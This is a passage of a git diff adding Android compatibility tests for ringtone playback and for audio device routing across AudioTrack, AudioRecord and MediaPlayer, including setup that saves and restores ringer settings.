+    private int mOriginalVolume;
+    private int mOriginalRingerMode;
+    private int mOriginalStreamType;
+    private Uri mDefaultRingUri;
+
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        enableAppOps();
+        mContext = getInstrumentation().getContext();
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        // backup ringer settings
+        mOriginalRingerMode = mAudioManager.getRingerMode();
+        mOriginalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+        mOriginalStreamType = mRingtone.getStreamType();
+
+        int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_RING);
+
+        if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE) {
+            mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+                    AudioManager.FLAG_ALLOW_RINGER_MODES);
+        } else if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_NORMAL) {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+                    AudioManager.FLAG_ALLOW_RINGER_MODES);
+        } else {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                // set ringer to a reasonable volume
+                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+                        AudioManager.FLAG_ALLOW_RINGER_MODES);
+                // make sure that we are not in silent mode
+                mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
+            }
+        }
+
+        mDefaultRingUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
+                RingtoneManager.TYPE_RINGTONE);
+    }
+
+    private void enableAppOps() {
+        StringBuilder cmd = new StringBuilder();
+        cmd.append("appops set ");
+        cmd.append(getInstrumentation().getContext().getPackageName());
+        cmd.append(" android:write_settings allow");
+        getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
+        try {
+            Thread.sleep(2200);
+        } catch (InterruptedException e) {
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // restore original settings
+        if (mRingtone != null) {
+            if (mRingtone.isPlaying()) mRingtone.stop();
+            mRingtone.setStreamType(mOriginalStreamType);
+        }
+        if (mAudioManager != null) {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                mAudioManager.setRingerMode(mOriginalRingerMode);
+                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
+                        AudioManager.FLAG_ALLOW_RINGER_MODES);
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
+            }
+        }
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
+                mDefaultRingUri);
+        super.tearDown();
+    }
+
+    private boolean hasAudioOutput() {
+        return getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private boolean isTV() {
+        return getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    public void testRingtone() {
+        if (isTV()) {
+            return;
+        }
+        if (!hasAudioOutput()) {
+            Log.i(TAG, "Skipping testRingtone(): device doesn't have audio output.");
+            return;
+        }
+
+        assertNotNull(mRingtone.getTitle(mContext));
+        assertTrue(mOriginalStreamType >= 0);
+
+        mRingtone.setStreamType(AudioManager.STREAM_MUSIC);
+        assertEquals(AudioManager.STREAM_MUSIC, mRingtone.getStreamType());
+        mRingtone.setStreamType(AudioManager.STREAM_ALARM);
+        assertEquals(AudioManager.STREAM_ALARM, mRingtone.getStreamType());
+        // make sure we play on STREAM_RING because we the volume on this stream is not 0
+        mRingtone.setStreamType(AudioManager.STREAM_RING);
+        assertEquals(AudioManager.STREAM_RING, mRingtone.getStreamType());
+
+        // test both the "None" ringtone and an actual ringtone
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, null);
+        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
+        mRingtone.play();
+        assertFalse(mRingtone.isPlaying());
+
+        Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
+        assertNotNull("ringtone was unexpectedly null", uri);
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
+        mRingtone.play();
+        assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
+        mRingtone.stop();
+        assertFalse(mRingtone.isPlaying());
+    }
+
+    public void testPlaybackProperties() {
+        if (isTV()) {
+            return;
+        }
+        if (!hasAudioOutput()) {
+            Log.i(TAG, "Skipping testRingtone(): device doesn't have audio output.");
+            return;
+        }
+
+        Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
+        assertNotNull("ringtone was unexpectedly null", uri);
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+        assertNotNull(mRingtone.getTitle(mContext));
+        final AudioAttributes ringtoneAa = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_NOTIFICATION_RINGTONE).
+                build();
+        mRingtone.setAudioAttributes(ringtoneAa);
+        assertEquals(ringtoneAa, mRingtone.getAudioAttributes());
+        mRingtone.setLooping(true);
+        mRingtone.setVolume(0.5f);
+        if (sIsAtLeastS) {
+            assertEquals(HapticGenerator.isAvailable(), mRingtone.setHapticGeneratorEnabled(true));
+        }
+        mRingtone.play();
+        assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
+        assertTrue(mRingtone.isLooping());
+        if (sIsAtLeastS) {
+            assertEquals(HapticGenerator.isAvailable(), mRingtone.isHapticGeneratorEnabled());
+        }
+        assertEquals("invalid ringtone player volume", 0.5f, mRingtone.getVolume());
+        mRingtone.stop();
+        assertFalse(mRingtone.isPlaying());
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
new file mode 100644
index 0000000..c273a18
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -0,0 +1,919 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+
+import android.media.AudioAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioRouting;
+import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.media.audio.cts.R;
+import android.media.cts.DeviceUtils;
+import android.media.cts.TestUtils.Monitor;
+
+import android.os.Environment;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
+import android.os.PowerManager;
+
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
+ * The routing tests are mostly here to exercise the routing code, as an actual test would require
+ * adding / removing an audio device for the listeners to be called.
+ * The routing listener code is designed to run for two versions of the routing code:
+ *  - the deprecated AudioTrack.OnRoutingChangedListener and AudioRecord.OnRoutingChangedListener
+ *  - the N AudioRouting.OnRoutingChangedListener
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class RoutingTest extends AndroidTestCase {
+    private static final String TAG = "RoutingTest";
+    private static final long WAIT_ROUTING_CHANGE_TIME_MS = 3000;
+    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+    private static final long MAX_FILE_SIZE_BYTE = 5000;
+    private static final int RECORD_TIME_MS = 3000;
+    private static final long WAIT_PLAYBACK_START_TIME_MS = 1000;
+    private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
+        Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
+
+    private AudioManager mAudioManager;
+    private File mOutFile;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // get the AudioManager
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull(mAudioManager);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+        super.tearDown();
+    }
+
+    private AudioTrack allocAudioTrack() {
+        int bufferSize =
+                AudioTrack.getMinBufferSize(
+                    41000,
+                    AudioFormat.CHANNEL_OUT_STEREO,
+                    AudioFormat.ENCODING_PCM_16BIT);
+        AudioTrack audioTrack =
+            new AudioTrack(
+                AudioManager.STREAM_MUSIC,
+                41000,
+                AudioFormat.CHANNEL_OUT_STEREO,
+                AudioFormat.ENCODING_PCM_16BIT,
+                bufferSize,
+                AudioTrack.MODE_STREAM);
+        return audioTrack;
+    }
+
+    public void test_audioTrack_preferredDevice() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        AudioTrack audioTrack = allocAudioTrack();
+        assertNotNull(audioTrack);
+
+        // None selected (new AudioTrack), so check for default
+        assertNull(audioTrack.getPreferredDevice());
+
+        // resets to default
+        assertTrue(audioTrack.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
+            assertTrue(audioTrack.setPreferredDevice(deviceList[index]));
+            assertTrue(audioTrack.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(audioTrack.setPreferredDevice(null));
+        assertNull(audioTrack.getPreferredDevice());
+
+        audioTrack.release();
+    }
+
+    public void test_audioTrack_incallMusicRoutingPermissions() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        // only apps with MODIFY_PHONE_STATE permission can route playback
+        // to the uplink stream during a phone call, so this test makes sure that
+        // audio is re-routed to default device when the permission is missing
+
+        AudioDeviceInfo telephonyDevice = getTelephonyDeviceAndSetInCommunicationMode();
+        if (telephonyDevice == null) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        AudioTrack audioTrack = null;
+
+        try {
+            audioTrack = allocAudioTrack();
+            assertNotNull(audioTrack);
+
+            audioTrack.setPreferredDevice(telephonyDevice);
+            assertEquals(AudioDeviceInfo.TYPE_TELEPHONY, audioTrack.getPreferredDevice().getType());
+
+            audioTrack.play();
+            assertTrue(audioTrack.getRoutedDevice().getType() != AudioDeviceInfo.TYPE_TELEPHONY);
+
+        } finally {
+            if (audioTrack != null) {
+                audioTrack.stop();
+                audioTrack.release();
+            }
+            mAudioManager.setMode(AudioManager.MODE_NORMAL);
+        }
+    }
+
+    private AudioDeviceInfo getTelephonyDeviceAndSetInCommunicationMode() {
+        // get the output device for telephony
+        AudioDeviceInfo telephonyDevice = null;
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                telephonyDevice = deviceList[index];
+            }
+        }
+
+        if (telephonyDevice == null) {
+            return null;
+        }
+
+        // simulate an in call state using MODE_IN_COMMUNICATION since
+        // AudioManager.setMode requires MODIFY_PHONE_STATE permission
+        // for setMode with MODE_IN_CALL.
+        mAudioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
+        assertEquals(AudioManager.MODE_IN_COMMUNICATION, mAudioManager.getMode());
+
+        return telephonyDevice;
+    }
+
+    /*
+     * tests if the Looper for the current thread has been prepared,
+     * If not, it makes one, prepares it and returns it.
+     * If this returns non-null, the caller is reponsible for calling quit()
+     * on the returned Looper.
+     */
+    private Looper prepareIfNeededLooper() {
+        // non-null Handler
+        Looper myLooper = null;
+        if (Looper.myLooper() == null) {
+            Looper.prepare();
+            myLooper = Looper.myLooper();
+            assertNotNull(myLooper);
+        }
+        return myLooper;
+    }
+
+    private class AudioTrackRoutingListener implements AudioTrack.OnRoutingChangedListener,
+            AudioRouting.OnRoutingChangedListener
+    {
+        public void onRoutingChanged(AudioTrack audioTrack) {}
+        public void onRoutingChanged(AudioRouting audioRouting) {}
+    }
+
+
+    public void test_audioTrack_RoutingListener() {
+        test_audioTrack_RoutingListener(false /*usesAudioRouting*/);
+    }
+
+    public void test_audioTrack_audioRouting_RoutingListener() {
+        test_audioTrack_RoutingListener(true /*usesAudioRouting*/);
+    }
+
+    private void test_audioTrack_RoutingListener(boolean usesAudioRouting) {
+        AudioTrack audioTrack = allocAudioTrack();
+
+        // null listener
+        if (usesAudioRouting) {
+            audioTrack.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) null, null);
+        } else {
+            audioTrack.addOnRoutingChangedListener(
+                    (AudioTrack.OnRoutingChangedListener) null, null);
+        }
+
+        AudioTrackRoutingListener listener = new AudioTrackRoutingListener();
+        AudioTrackRoutingListener someOtherListener = new AudioTrackRoutingListener();
+
+        // add a listener
+        if (usesAudioRouting) {
+            audioTrack.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener, null);
+        } else {
+            audioTrack.addOnRoutingChangedListener(listener, null);
+        }
+
+        // remove listeners
+        if (usesAudioRouting) {
+            // remove a listener we didn't add
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) someOtherListener);
+            // remove a valid listener
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener);
+        } else {
+            // remove a listener we didn't add
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioTrack.OnRoutingChangedListener) someOtherListener);
+            // remove a valid listener
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioTrack.OnRoutingChangedListener) listener);
+        }
+
+        Looper myLooper = prepareIfNeededLooper();
+
+        if (usesAudioRouting) {
+            audioTrack.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener, new Handler());
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener);
+        } else {
+            audioTrack.addOnRoutingChangedListener(
+                    (AudioTrack.OnRoutingChangedListener) listener, new Handler());
+            audioTrack.removeOnRoutingChangedListener(
+                    (AudioTrack.OnRoutingChangedListener) listener);
+        }
+
+        audioTrack.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+   }
+
+    private AudioRecord allocAudioRecord() {
+        int bufferSize =
+                AudioRecord.getMinBufferSize(
+                    41000,
+                    AudioFormat.CHANNEL_OUT_DEFAULT,
+                    AudioFormat.ENCODING_PCM_16BIT);
+        AudioRecord audioRecord =
+            new AudioRecord(
+                MediaRecorder.AudioSource.DEFAULT,
+                41000, AudioFormat.CHANNEL_OUT_DEFAULT,
+                AudioFormat.ENCODING_PCM_16BIT,
+                bufferSize);
+        return audioRecord;
+    }
+
+    private class AudioRecordRoutingListener implements AudioRecord.OnRoutingChangedListener,
+            AudioRouting.OnRoutingChangedListener
+    {
+        public void onRoutingChanged(AudioRecord audioRecord) {}
+        public void onRoutingChanged(AudioRouting audioRouting) {}
+    }
+
+    public void test_audioRecord_RoutingListener() {
+        test_audioRecord_RoutingListener(false /*usesAudioRouting*/);
+    }
+
+    public void test_audioRecord_audioRouting_RoutingListener() {
+        test_audioRecord_RoutingListener(true /*usesAudioRouting*/);
+    }
+
+    private void test_audioRecord_RoutingListener(boolean usesAudioRouting) {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            // Can't do it so skip this test
+            return;
+        }
+        AudioRecord audioRecord = allocAudioRecord();
+
+        // null listener
+        if (usesAudioRouting) {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) null, null);
+        } else {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) null, null);
+        }
+
+        AudioRecordRoutingListener listener = new AudioRecordRoutingListener();
+        AudioRecordRoutingListener someOtherListener = new AudioRecordRoutingListener();
+
+        // add a listener
+        if (usesAudioRouting) {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener, null);
+        } else {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) listener, null);
+        }
+
+        // remove listeners
+        if (usesAudioRouting) {
+            // remove a listener we didn't add
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) someOtherListener);
+            // remove a valid listener
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener);
+        } else {
+            // remove a listener we didn't add
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) someOtherListener);
+            // remove a valid listener
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) listener);
+        }
+
+        Looper myLooper = prepareIfNeededLooper();
+        if (usesAudioRouting) {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener, new Handler());
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRouting.OnRoutingChangedListener) listener);
+        } else {
+            audioRecord.addOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) listener, new Handler());
+            audioRecord.removeOnRoutingChangedListener(
+                    (AudioRecord.OnRoutingChangedListener) listener);
+        }
+
+        audioRecord.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
+
+    public void test_audioRecord_preferredDevice() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        AudioRecord audioRecord = allocAudioRecord();
+        assertNotNull(audioRecord);
+
+        // None selected (new AudioRecord), so check for default
+        assertNull(audioRecord.getPreferredDevice());
+
+        // resets to default
+        assertTrue(audioRecord.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            assertTrue(audioRecord.setPreferredDevice(deviceList[index]));
+            assertTrue(audioRecord.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(audioRecord.setPreferredDevice(null));
+        assertNull(audioRecord.getPreferredDevice());
+
+        audioRecord.release();
+    }
+
+    private class AudioTrackFiller implements Runnable {
+        AudioTrack mAudioTrack;
+        int mBufferSize;
+
+        boolean mPlaying;
+
+        short[] mAudioData;
+
+        public AudioTrackFiller(AudioTrack audioTrack, int bufferSize) {
+            mAudioTrack = audioTrack;
+            mBufferSize = bufferSize;
+            mPlaying = false;
+
+            // setup audio data (silence will suffice)
+            mAudioData = new short[mBufferSize];
+            for (int index = 0; index < mBufferSize; index++) {
+                mAudioData[index] = 0;
+            }
+        }
+
+        public void start() { mPlaying = true; }
+        public void stop() { mPlaying = false; }
+
+        @Override
+        public void run() {
+            while (mAudioTrack != null && mPlaying) {
+                mAudioTrack.write(mAudioData, 0, mBufferSize);
+            }
+        }
+    }
+
+    public void test_audioTrack_getRoutedDevice() throws Exception {
+        if (!DeviceUtils.hasOutputDevice(mAudioManager)) {
+            Log.i(TAG, "No output devices. Test skipped");
+            return; // nothing to test here
+        }
+
+        int bufferSize =
+                AudioTrack.getMinBufferSize(
+                    41000,
+                    AudioFormat.CHANNEL_OUT_STEREO,
+                    AudioFormat.ENCODING_PCM_16BIT);
+        AudioTrack audioTrack =
+            new AudioTrack(
+                AudioManager.STREAM_MUSIC,
+                41000,
+                AudioFormat.CHANNEL_OUT_STEREO,
+                AudioFormat.ENCODING_PCM_16BIT,
+                bufferSize,
+                AudioTrack.MODE_STREAM);
+
+        AudioTrackFiller filler = new AudioTrackFiller(audioTrack, bufferSize);
+        filler.start();
+
+        audioTrack.play();
+
+        Thread fillerThread = new Thread(filler);
+        fillerThread.start();
+
+        assertHasNonNullRoutedDevice(audioTrack);
+
+        filler.stop();
+        audioTrack.stop();
+        audioTrack.release();
+    }
+
+    private void assertHasNonNullRoutedDevice(AudioRouting router) throws Exception {
+        AudioDeviceInfo routedDevice = null;
+        // Give a chance for playback or recording to start so routing can be established
+        final long timeouts[] = { 100, 200, 300, 500, 1000};
+        int attempt = 0;
+        long totalWait = 0;
+        do {
+            totalWait += timeouts[attempt];
+            try { Thread.sleep(timeouts[attempt++]); } catch (InterruptedException ex) {}
+            routedDevice = router.getRoutedDevice();
+            if (routedDevice == null && (attempt > 2 || totalWait >= 1000)) {
+                Log.w(TAG, "Routing still not reported after " + totalWait + "ms");
+            }
+        } while (routedDevice == null && attempt < timeouts.length);
+        assertNotNull(routedDevice); // we probably can't say anything more than this
+    }
+
+    private class AudioRecordPuller implements Runnable {
+        AudioRecord mAudioRecord;
+        int mBufferSize;
+
+        boolean mRecording;
+
+        short[] mAudioData;
+
+        public AudioRecordPuller(AudioRecord audioRecord, int bufferSize) {
+            mAudioRecord = audioRecord;
+            mBufferSize = bufferSize;
+            mRecording = false;
+        }
+
+        public void start() { mRecording = true; }
+        public void stop() { mRecording = false; }
+
+        @Override
+        public void run() {
+            while (mAudioRecord != null && mRecording) {
+                mAudioRecord.read(mAudioData, 0, mBufferSize);
+           }
+        }
+    }
+
+    public void test_audioRecord_getRoutedDevice() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            return;
+        }
+
+        if (!DeviceUtils.hasInputDevice(mAudioManager)) {
+            Log.i(TAG, "No input devices. Test skipped");
+            return; // nothing to test here
+        }
+
+        int bufferSize =
+                AudioRecord.getMinBufferSize(
+                    41000,
+                    AudioFormat.CHANNEL_OUT_DEFAULT,
+                    AudioFormat.ENCODING_PCM_16BIT);
+        AudioRecord audioRecord =
+            new AudioRecord(
+                MediaRecorder.AudioSource.DEFAULT,
+                41000, AudioFormat.CHANNEL_OUT_DEFAULT,
+                AudioFormat.ENCODING_PCM_16BIT,
+                bufferSize);
+
+        AudioRecordPuller puller = new AudioRecordPuller(audioRecord, bufferSize);
+        puller.start();
+
+        audioRecord.startRecording();
+
+        Thread pullerThread = new Thread(puller);
+        pullerThread.start();
+
+        assertHasNonNullRoutedDevice(audioRecord);
+
+        puller.stop();
+        audioRecord.stop();
+        audioRecord.release();
+    }
+
+    static class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+    {
+        private boolean mCalled;
+        private boolean mCallExpected;
+        private CountDownLatch mCountDownLatch;
+
+        AudioRoutingListener() {
+            reset();
+        }
+
+        public void onRoutingChanged(AudioRouting audioRouting) {
+            mCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        void await(long timeoutMs) {
+            try {
+                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+            }
+        }
+
+        void setCallExpected(boolean flag) {
+            mCallExpected = flag;
+        }
+
+        boolean isCallExpected() {
+            return mCallExpected;
+        }
+
+        boolean isRoutingListenerCalled() {
+            return mCalled;
+        }
+
+        void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+            mCalled = false;
+            mCallExpected = true;
+        }
+    }
+
+    private MediaPlayer allocMediaPlayer() {
+        return allocMediaPlayer(null, true);
+    }
+
+    private MediaPlayer allocMediaPlayer(AudioDeviceInfo device, boolean start) {
+        final int resid = R.raw.testmp3_2;
+        MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
+        mediaPlayer.setAudioAttributes(
+                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+        if (device != null) {
+            mediaPlayer.setPreferredDevice(device);
+        }
+        if (start) {
+            mediaPlayer.start();
+        }
+        return mediaPlayer;
+    }
+
+    public void test_mediaPlayer_preferredDevice() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+        assertTrue(mediaPlayer.isPlaying());
+
+        // None selected (new MediaPlayer), so check for default
+        assertNull(mediaPlayer.getPreferredDevice());
+
+        // resets to default
+        assertTrue(mediaPlayer.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
+            assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+            assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(mediaPlayer.setPreferredDevice(null));
+        assertNull(mediaPlayer.getPreferredDevice());
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+    public void test_mediaPlayer_getRoutedDevice() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+        assertTrue(mediaPlayer.isPlaying());
+
+        assertHasNonNullRoutedDevice(mediaPlayer);
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+    public void test_MediaPlayer_RoutingListener() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+
+        // null listener
+        mediaPlayer.addOnRoutingChangedListener(null, null);
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+        // add a listener
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+        // remove listeners
+        // remove a listener we didn't add
+        mediaPlayer.removeOnRoutingChangedListener(someOtherListener);
+        // remove a valid listener
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+
+        Looper myLooper = prepareIfNeededLooper();
+
+        mediaPlayer.addOnRoutingChangedListener(listener, new Handler());
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
+
+    public void test_MediaPlayer_RoutingChangedCallback() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        if (devices.length < 2) {
+            // In this case, we cannot switch output device, that may cause the test fail.
+            return;
+        }
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        MediaPlayer mediaPlayer = allocMediaPlayer(null, false);
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+        mediaPlayer.start();
+        try {
+            // Wait a second so that the player
+            Thread.sleep(WAIT_PLAYBACK_START_TIME_MS);
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+        assertTrue("Routed device should not be null", routedDevice != null);
+
+        // Reset the routing listener as the listener is called to notify the routed device
+        // when the playback starts.
+        listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+        assertTrue("Routing changed callback has not been called when starting playback",
+                listener.isRoutingListenerCalled());
+        listener.reset();
+
+        listener.setCallExpected(false);
+        for (AudioDeviceInfo device : devices) {
+            if (routedDevice.getId() != device.getId() &&
+                    device.getType() != AudioDeviceInfo.TYPE_TELEPHONY) {
+                mediaPlayer.setPreferredDevice(device);
+                listener.setCallExpected(true);
+                listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+                break;
+            }
+        }
+
